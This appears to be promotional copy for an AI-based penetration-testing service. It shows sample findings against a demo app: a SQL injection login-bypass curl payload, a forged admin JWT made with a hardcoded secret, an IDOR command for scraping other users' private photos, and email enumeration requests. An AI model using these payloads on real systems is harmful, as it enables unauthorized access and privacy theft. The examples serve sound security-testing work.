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AI agents crawl your application, mapping all endpoints, forms, and API routes. They identify technologies, frameworks, and potential entry points.
→ Discovered 47 endpoints
→ Found 12 input forms
→ Identified: Node.js, Express, MongoDB
Agents test for OWASP Top 10 vulnerabilities: SQLi, XSS, CSRF, authentication flaws, and more. They think like hackers, trying creative attack vectors.
⚠ Testing for SQL injection...
⚠ Testing for XSS vulnerabilities...
⚠ Checking authentication bypass...
Found issues are exploited safely to confirm they're real. We generate proof-of-concept code showing exactly how an attacker could abuse the vulnerability.
Successfully extracted database schema via union-based injection
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Here's what a typical finding looks like
Authentication bypass via SQL injection allows unauthorized access to admin panel
An attacker can bypass authentication and gain administrative access to the application, potentially leading to complete system compromise, data theft, and unauthorized modifications.
POST /api/auth/login
Parameter: username
curl -X POST https://demo.app/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "admin' OR '1'='1", "password": "any"}'
# Response: 200 OK - Admin session created
Hardcoded JWT signing key in source code allows attackers to forge authentication tokens
An attacker can craft valid JWT tokens for any user account, including administrators, leading to complete authentication bypass. This allows unauthorized access to all user data, administrative functions, and privileged operations without knowing actual credentials.
src/config/auth.js:12
Secret: "mySuper$ecretKey123"
import jwt from 'jsonwebtoken'
const payload = {
userId: 1,
email: "admin@demo.app",
role: "admin"
}
const token = jwt.sign(payload, "mySuper$ecretKey123")
# Use this token to access any admin endpoint
Insecure Direct Object Reference allows unauthorized access to any user's private profile photos
Attackers can enumerate and download private profile photos of all users by simply incrementing the image ID parameter. This violates user privacy, especially for users who explicitly set their profiles to private. Could be used for identity theft, social engineering, or creating fake profiles.
GET /api/users/photos/{id}
No authorization check on photo ownership
# Logged in as user ID 42, but accessing user ID 1's photo
curl https://demo.app/api/users/photos/1 \
-H "Authorization: Bearer {user_42_token}" \
--output victim_photo.jpg
# Successfully downloads another user's private photo
# Can iterate through IDs 1-10000 to scrape all photos
Different error messages reveal whether usernames exist in the system
Attackers can determine if specific usernames or email addresses are registered in the system by analyzing different error responses. This information can be used for targeted phishing campaigns, credential stuffing attacks, or social engineering. While not directly exploitable, it provides reconnaissance data that aids in planning more sophisticated attacks.
POST /api/auth/register
Leaks user existence through timing and messaging differences
# Existing user attempt
curl -X POST https://demo.app/api/auth/register \
-d '{"email": "admin@demo.app"}'
→ "This email is already registered"
# Non-existing user attempt
curl -X POST https://demo.app/api/auth/register \
-d '{"email": "random@test.com"}'
→ "Please check your email for verification"
# Different responses allow enumeration of valid emails